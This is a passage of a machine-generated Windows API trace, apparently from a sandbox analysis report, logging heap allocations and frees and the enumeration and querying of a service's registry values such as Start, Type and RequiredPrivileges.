RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0175.968] RegEnumValueA (in: hKey=0x140, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0175.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0175.968] RegEnumValueA (in: hKey=0x140, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0175.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0175.968] RegEnumValueA (in: hKey=0x140, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0175.968] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0175.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0175.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0175.968] RegEnumValueA (in: hKey=0x140, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.968] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0175.969] RegEnumValueA (in: hKey=0x140, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0175.969] RegEnumValueA (in: hKey=0x140, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0175.969] RegEnumValueA (in: hKey=0x140, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x252ff98 [0175.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0175.969] RegEnumValueA (in: hKey=0x140, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0175.969] RegEnumValueA (in: hKey=0x140, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0175.969] RegEnumValueA (in: hKey=0x140, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.969] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.969] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ff98) returned 1 [0175.970] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.970] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.970] RegQueryValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x195) returned 0x0 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0175.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.971] RegQueryValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x195 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x195) returned 0x0 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0175.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0175.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0175.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0175.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0175.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0175.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0175.971] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0175.971] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0175.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0175.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x252ff98 [0175.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0175.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0175.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0175.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0175.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252ff98) returned 1 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0175.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0175.972] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.972] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0175.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0175.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x252dd90 [0175.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0175.973] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219ddd8 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0175.973] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0175.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0175.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0175.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0175.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0175.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0175.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0175.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0175.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0175.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0175.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0175.974] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0175.974] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0175.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0175.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0175.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0175.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0175.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0175.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0175.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0175.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d358) returned 1 [0175.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dd90) returned 1 [0175.975] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219de30 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0175.975] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 